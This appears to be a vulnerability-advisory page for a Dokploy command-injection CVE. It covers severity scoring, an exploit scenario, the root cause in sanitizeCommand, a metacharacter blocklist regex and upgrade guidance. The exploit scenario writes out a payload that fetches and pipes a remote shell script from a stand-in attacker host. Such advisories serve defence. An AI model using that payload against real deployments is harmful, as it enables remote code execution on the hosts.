Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessObtain or compromise low-privilege Dokploy credentials
-
DeliveryAccess Compose service configuration interface
-
ExploitInject shell metacharacters into compose command field
-
ExecutionTrigger service deployment action
-
PersistDokploy interpolates payload into host shell invocation
-
ImpactExecute arbitrary OS commands as Dokploy process user
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires an authenticated Dokploy session with permission to update at least one Compose service - unauthenticated exploitation is not possible per the CVSS 4.0 PR:L metric. The attacker must reach the Compose service configuration API and actively set a malicious compose.command value, then trigger a service deployment to execute the injected payload; the attack is not passive. The Compose service feature must be in use (it is a core PaaS deployment feature, not a non-default option). No special network position, specific platform version, or non-default configuration is required beyond the authenticated Compose editor role. Limiting factors: authentication (PR:L) is mandatory, the attacker must have been granted or have compromised a Compose-editor account, and the attack requires two deliberate actions (configure and deploy) rather than a single packet. |
| Impact | The CVSS 4.0 score of 8.7 (AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H) accurately characterizes a high-priority real-world risk: the attack requires no special network position, no preconditions beyond a low-privilege authenticated account with Compose edit rights, and results in full host OS command execution. Even a mid-sized municipal IT team in swidnica should treat this as urgent, because the fix is a one-version upgrade and the exploit is trivially simple. Working proof-of-concept payloads are publicly available in the fix PR test suite, confirming that semicolons, pipe operators, subshell expansion, and backtick substitution all achieve code execution on unpatched hosts - this meaningfully raises real-world risk beyond a theoretical CVSS rating. No EPSS score was present in the source data, and no CISA KEV listing exists, suggesting active broad exploitation has not yet been observed; however, the public availability of exploit payloads combined with the low attack complexity shortens the window before opportunistic exploitation becomes likely. The CVSS SC/SI/SA values of N correctly reflect that Docker containers managed by Dokploy are not the direct impact target - the Dokploy host process itself is - though host-level compromise would in practice extend to all co-located Docker workloads. |
| Exploit ScenarioDerived | An attacker with a low-privilege Dokploy account holding Compose service edit rights navigates to a Compose service configuration panel and sets the custom command field to a payload such as up -d; curl http://attacker.example/shell.sh | sh. When a deployment is triggered, the unpatched sanitizeCommand passes the semicolon-separated string through intact, and the host shell executes the attacker's secondary command as the Dokploy process user. The fix PR test suite (https://github.com/Dokploy/dokploy/pull/4863) confirms that payloads including $(touch /tmp/marker), backtick command substitution, semicolons, and pipe operators all successfully achieved code execution against unpatched versions during development testing. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 10, 2026
Shell command injection in Dokploy exposes the underlying host OS to arbitrary command execution by any authenticated user with Compose service edit permissions. The flaw is in the sanitizeCommand function within packages/server/src/utils/builders/compose.ts, which stripped only whitespace and surrounding quotes before interpolating user-supplied compose.command values into live shell invocations such as docker ${command} - leaving semicolons, pipe operators, backticks, and subshell substitutions entirely intact. Working exploit payloads (semicolons, $(subshell), pipes, backtick substitution) are publicly available in the fix PR test suite at https://github.com/Dokploy/dokploy/pull/4863; no CISA KEV listing exists at time of analysis, and the vendor-confirmed patch is available in v0.29.13.
RemediationAI
Upgrade to Dokploy v0.29.13 immediately - this is the vendor-confirmed patched release (https://github.com/Dokploy/dokploy/releases/tag/v0.29.13), which replaces unsafe raw string interpolation with shell-quote escaping for appName, composePath, and envFilePath arguments throughout both the compose builder and compose service, and adds regex validation that rejects shell control characters in user-supplied compose command fields. The fix is backwards-compatible and has no documented side effects on legitimate compose workflows, as confirmed by the test cases in PR #4863 that verify benign commands like compose -f docker-compose.yml -p app up -d --build pass through correctly. If an immediate upgrade is not feasible, restrict Compose service edit permissions exclusively to fully trusted administrative accounts - this narrows the exploitable attack surface but does not eliminate the vulnerability, as any remaining Compose editor retains exploitation capability. There is no documented configuration toggle or network-layer control that removes the vulnerable code path while preserving Compose deployment functionality.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Dokploy is a self-hosted, open-source Platform as a Service built atop Docker Compose and Docker Swarm stack management. The vulnerable code path originates in packages/server/src/utils/builders/compose.ts where the sanitizeCommand function accepted a user-controlled compose.command string, applied only .trim() and quote-character stripping, then inserted the result unsanitized into shell command strings. The same pattern affected appName and composePath interpolation in both the compose builder and packages/server/src/services/compose.ts, where values like compose.appName were embedded directly into env -i PATH=$PATH docker compose -p ${compose.appName} -f ${path} up -d without escaping. CWE-78 (Improper Neutralization of Special Elements Used in an OS Command) precisely describes the root cause: user-controlled data entered a shell execution context without proper neutralization. The fix in PR #4863 introduced the shell-quote library to properly shell-escape appName, path, and envFilePath arguments throughout the codebase, and added a strict regex blocklist (/[;&|`$(){}<> \\]/) on compose command fields that throws an error rather than attempting to sanitize dangerous input. CPE cpe:2.3:a:dokploy:dokploy:*:*:*:*:*:*:*:* covers all affected pre-fix versions.
Know when Dokploy gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Network-exploitable by any authenticated Compose editor (AV:N, PR:L); low complexity; full C/I/A impact on Dokploy host; scope unchanged as the host is the primary impacted system.
Primary rating from Vendor (GitHub_M).
CVSS VectorVendor: GitHub_M
Lifecycle Timeline
2DescriptionCVE.org
Dokploy is a free, self-hostable Platform as a Service (PaaS). Prior to 0.29.13, sanitizeCommand in packages/server/src/utils/builders/compose.ts only trims whitespace and strips surrounding quotes from compose.command before exportEnvCommand and docker command interpolation, allowing an authenticated user who can update a Compose service to inject shell metacharacters and execute arbitrary commands on the Dokploy host. This issue is fixed in version 0.29.13.
Executive ViewAI
Dokploy versions prior to v0.29.13 expose organizations to remote command execution on production infrastructure through an authenticated user vulnerability in service deployment controls. Any employee with Compose service modification privileges can bypass security controls to execute arbitrary commands on the underlying host system. This creates immediate risk to infrastructure availability, data integrity, and compliance standing.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Authenticated command injection in Dokploy (self-hostable PaaS) versions 0.29.3 through 0.29.12 lets a low-privileged us
Dokploy self-hosted PaaS prior to 0.26.6 has a critical command injection vulnerability (CVSS 9.9) allowing authenticate
Dokploy versions before 0.26.6 contain hardcoded database credentials in the installation script, causing nearly all dep
Authenticated command injection in Dokploy before 0.31.1 lets any user who can update a MySQL, PostgreSQL, MariaDB, Mong
Authenticated users with create permission on an application in Dokploy versions prior to 0.31.1 can execute arbitrary c
Authenticated command injection in Dokploy before 0.31.1 lets a low-privileged member with file-mount create and delete
Authenticated command injection in Dokploy before 0.31.1 lets an organization member holding backup permission on a sing
Authenticated Dokploy organization members can break out of their tenant boundary and reach root on the Docker host: the
Command injection in Dokploy (self-hosted PaaS) before 0.29.13 lets an authenticated low-privilege member run arbitrary
Command injection in Dokploy (self-hosted PaaS) before 0.29.13 lets an authenticated panel user run arbitrary commands o
Remote code execution in Dokploy 0.27.0 through 0.29.2 allows unauthenticated attackers to forge email-verification JWTs
Command injection in Dokploy (self-hostable PaaS) before 0.29.13 lets an authenticated user run arbitrary OS commands on
EUVD-2026-55794
NVD
CVE.org
EPSS
Vulnrichment
GitHub
Exploit-DB